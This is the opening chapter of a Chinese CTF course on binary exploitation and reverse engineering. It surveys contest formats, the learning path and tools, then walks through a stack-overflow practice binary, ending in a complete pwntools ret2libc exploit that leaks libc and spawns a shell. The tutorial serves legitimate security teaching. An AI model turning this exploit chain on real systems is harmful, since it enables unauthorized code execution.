课程导入：CTF竞赛概述、Pwn与逆向工程在CTF中的地位、学习路径与工具链总览

CTF（Capture The Flag，夺旗赛）是网络安全领域最具代表性的竞技形式，它模拟真实攻防场景，要求参赛者在限定时间内完成一系列挑战，获取隐藏在题目中的“Flag”字符串。在CTF的众多方向中，Pwn（二进制漏洞利用）与逆向工程（Reverse Engineering）被誉为“皇冠上的明珠”——它们直接面对程序底层执行逻辑，考察对操作系统、编译原理、汇编语言和CPU架构的深层理解。本课程作为《CTF竞赛快速上手：Pwn与逆向工程实战》的第一章，将为你建立完整的认知地图：CTF竞赛的整体面貌、Pwn与逆向在其中的核心地位、高效的学习路径，以及贯穿全课程的工具链总览。无论你是零基础的新手，还是已有Web安全基础想转向二进制方向的学习者，本章都将为你奠定坚实的起点。

1.1 CTF竞赛概述：赛制、题型与能力模型

CTF竞赛起源于1996年的DEF CON黑客大会，经过近三十年发展，已形成成熟的竞赛体系。从赛制上看，主流CTF分为三种：Jeopardy（解题模式）、Attack-Defense（攻防模式）和混合模式。Jeopardy模式最为常见，题目按类别分区，每道题包含一个Flag字符串，提交正确即得分；攻防模式则要求每支队伍维护自己的服务器，同时攻击对手服务器，既考验漏洞挖掘能力，也考验防御加固和流量分析能力。

从题目类型来看，CTF通常包含以下方向：Web安全（SQL注入、XSS、SSRF等）、逆向工程（程序逻辑分析、算法还原）、Pwn（二进制漏洞利用）、密码学（古典密码、现代加密算法攻击）、杂项（流量分析、隐写术、编码转换）以及区块链安全（智能合约漏洞）等新兴方向。不同方向的题目难度和考察重点差异显著，但都指向同一个核心能力——理解系统的底层运作机制，并找到预期之外的执行路径。

1.2 Pwn与逆向工程在CTF中的地位：互为表里的双子星

Pwn一词源于游戏术语“own”（掌控），在CTF语境中指代二进制漏洞利用——通过分析程序的内存布局、逻辑缺陷或运行时状态，构造恶意输入，最终劫持程序控制流或读取敏感数据。逆向工程则是从可执行文件中还原程序逻辑的过程，包括静态分析（阅读反汇编代码、识别数据结构）和动态调试（观察寄存器变化、内存内容）。两者关系紧密：Pwn的第一步往往是逆向分析目标程序，找到漏洞点；而逆向工程的最终目的也常常是为漏洞利用服务。

在CTF题目中，Pwn与逆向的边界有时模糊。一道典型的Pwn题（如栈溢出）需要参赛者：

1. 使用file命令识别二进制文件架构（x86_64、ARM等）和保护机制（NX、ASLR、PIE、Canary）；
2. 通过IDA Pro或Ghidra进行静态分析，定位危险函数（如gets、strcpy）和关键变量；
3. 使用GDB动态调试，验证偏移量和内存布局；
4. 编写Python脚本（通常基于pwntools）构造payload，完成漏洞利用。

而一道逆向题（如算法还原）则要求参赛者：

1. 识别程序主逻辑和加密/校验函数；
2. 理解算法流程（可能是自定义加密、混淆或VM保护）；
3. 编写解密脚本或使用符号执行工具（如angr）求解Flag。

1.3 学习路径规划：从零基础到实战入门

Pwn与逆向工程的学习路径可以划分为三个阶段，每个阶段都有明确的目标和检验标准。本课程将按照这一路径设计后续章节内容。

阶段一：基础夯实（第1-10章）。这一阶段的目标是建立“底层视野”。你需要掌握：C语言的内存模型（栈、堆、BSS、数据段）、x86-64汇编指令（MOV、LEA、CALL、RET、PUSH/POP）、ELF文件格式（节头表、程序头表、动态链接）、以及GDB调试器的核心操作。检验标准：能够独立分析一个简单的C程序编译后的汇编代码，说出每个变量的内存位置和函数调用栈的变化过程。

阶段二：核心能力突破（第11-20章）。这一阶段聚焦CTF中最常考的漏洞类型：栈溢出（包括ret2text、ret2libc、ret2csu）、格式化字符串漏洞、整数溢出、堆溢出（fastbin attack、unsorted bin attack）等。同时，逆向方向需要掌握常见加密算法的识别（base64、RC4、AES）、反调试对抗和简单的VM逆向。检验标准：能够独立完成3-5道中等难度的CTF真题。

阶段三：进阶与综合实战（第21-30章）。这一阶段涉及更复杂的利用技术（SROP、IO_FILE攻击、内核提权）、混淆对抗（花指令、控制流平坦化）、以及真实世界漏洞的案例分析。同时，我们会引入自动化工具（angr、z3）来辅助求解。检验标准：能够参加线上CTF比赛并稳定解出Pwn/逆向方向的题目。

1.4 工具链总览：构建你的武器库

工欲善其事，必先利其器。Pwn与逆向工程涉及的工具链可以分为四大类：静态分析工具、动态调试工具、漏洞利用工具和辅助分析工具。下面逐一介绍。

静态分析工具的核心是反汇编器和反编译器。IDA Pro是商业软件的标杆，其Hex-Rays反编译器可以将汇编代码还原为类C伪代码，极大提升分析效率；Ghidra是NSA开源的免费替代品，功能强大且支持插件扩展；Radare2（及其图形界面Cutter）是命令行爱好者的选择，脚本化能力强。对于CTF初学者，推荐从Ghidra入手——免费、跨平台、反编译质量接近IDA。

动态调试工具用于观察程序运行时的状态。GDB是Linux下的事实标准，配合pwndbg或gef插件可以直观显示栈布局、堆结构、寄存器值；x64dbg是Windows下的调试器，用于分析PE文件；对于Android逆向，还需要掌握JEB或Frida。调试器的核心操作包括：下断点（b *0x401234）、单步执行（si/ni）、查看内存（x/20gx $rsp）、修改寄存器（set $rax=0）。

漏洞利用工具以pwntools为核心。这是一个Python库，封装了与二进制程序交互的全流程：

from pwn import *

# 连接本地或远程程序
p = process('./vuln')  # 本地
# p = remote('ctf.example.com', 1337)  # 远程

# 构造payload
payload = b'A' * 72          # 填充缓冲区到返回地址
payload += p64(0x4011a6)     # 覆盖返回地址为后门函数

# 发送payload
p.sendline(payload)

# 交互
p.interactive()

此外，ROPgadget用于搜索汇编指令片段（gadgets），one_gadget用于查找execve("/bin/sh")的魔法地址，LibcSearcher用于根据函数偏移匹配libc版本。

辅助分析工具包括：checksec（检查二进制保护机制）、objdump（查看节信息）、readelf（解析ELF头）、strace/ltrace（跟踪系统调用和库函数调用）、strings（提取可打印字符串）、nc（网络连接）。在逆向算法题中，z3约束求解器和angr符号执行工具也日益重要。

1.5 案例拆解：一道入门级Pwn题的完整分析流程

为了让你直观感受Pwn与逆向的协作流程，我们以一道经典的入门级栈溢出题目为例，完整走一遍分析过程。题目文件名为vuln，运行环境为Ubuntu 20.04 x86_64。

初始现象与目标：运行程序后，它打印一行提示并读取用户输入。目标是获取shell并读取flag.txt文件。首先使用checksec检查保护机制：

$ checksec vuln
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

关键信息：无Canary（栈溢出不会被检测）、无PIE（程序加载地址固定，可以直接使用硬编码地址）。NX开启意味着栈不可执行，不能直接注入shellcode，但我们可以使用ROP。

逆向分析：使用Ghidra打开vuln，定位到main函数。反编译结果显示：

void main(void) {
  char local_48 [64];
  setvbuf(stdout, NULL, 2, 0);
  puts("Welcome to CTF!");
  gets(local_48);
  return;
}

漏洞点一目了然：gets()函数不检查输入长度，向64字节的缓冲区写入任意长度的数据，导致栈溢出。同时，我们注意到程序中没有直接调用system("/bin/sh")的后门函数，因此需要构造ROP链。

动态调试确认偏移：使用GDB配合pwndbg，在gets调用后下断点，输入一串“A”字符，观察栈布局：

$ gdb ./vuln
(gdb) b *main+45
(gdb) r
(gdb) pattern create 100
(gdb) c
(gdb) pattern offset $rsp

通过pattern计算，确认返回地址距离缓冲区起始位置偏移为72字节。这意味着payload结构为：72字节填充 + 返回地址。

构造ROP链：由于NX开启，我们需要利用程序中的gadgets。使用ROPgadget搜索pop rdi; ret（用于传递第一个参数）：

$ ROPgadget --binary vuln | grep "pop rdi"
0x00000000004011c3 : pop rdi ; ret

同时，我们需要/bin/sh字符串的地址。由于程序没有PIE，可以使用strings -t x查找：

$ strings -t x vuln | grep "/bin/sh"
（若无输出，则需要从libc中获取）

假设程序本身没有该字符串，我们需要泄露libc地址。完整的利用思路是：第一次溢出调用puts@plt泄露puts@got的真实地址，返回main重新执行；第二次溢出根据libc偏移计算system和/bin/sh地址，构造ROP链。

最终exp脚本（pwntools）：

from pwn import *

elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./vuln')

# 第一次溢出：泄露puts地址
pop_rdi = 0x4011c3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']

payload = b'A'*72
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt) + p64(main)

p.sendlineafter(b'Welcome to CTF!', payload)
p.recvline()
leak = u64(p.recv(6).ljust(8, b'\x00'))
log.success(f'puts address: {hex(leak)}')

# 计算libc基址
libc.address = leak - libc.symbols['puts']
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))

# 第二次溢出：调用system("/bin/sh")
payload2 = b'A'*72
payload2 += p64(pop_rdi) + p64(binsh)
payload2 += p64(system)

p.sendline(payload2)
p.interactive()

结果与复盘：运行脚本后成功获得shell，读取flag。这个案例展示了Pwn与逆向的完整协作：逆向分析定位漏洞（gets）、动态调试确认偏移、利用工具构造ROP链。整个过程涉及了本课程后续章节的核心知识点：栈布局、GOT/PLT机制、libc泄露、ROP构造。

1.6 本章总结与学习建议

本章作为全课程的起点，为你建立了CTF竞赛的整体认知框架。核心要点回顾：CTF是综合性的安全竞技，Pwn与逆向工程处于技术深度的顶端；学习路径应遵循“基础→核心→进阶”的节奏，不可跳跃；工具链是效率的保障，但工具只是辅助，理解底层原理才是根本。

在进入下一章之前，建议你完成以下准备工作：

• 安装Ubuntu 20.04或22.04虚拟机（或双系统），配置好Python3、pip、pwntools、Ghidra、GDB+pwndbg；
• 复习C语言指针、数组、函数调用的内存模型；
• 阅读《计算机组成原理》中关于内存、寄存器、指令执行的基础章节；
• 尝试用GDB调试一个简单的C程序，观察main函数的栈帧结构。

这些准备工作将为你后续学习打下坚实基础。记住，Pwn与逆向工程是“慢功夫”，需要耐心和持续练习。本课程将陪伴你从零开始，一步步走向CTF实战的舞台中央。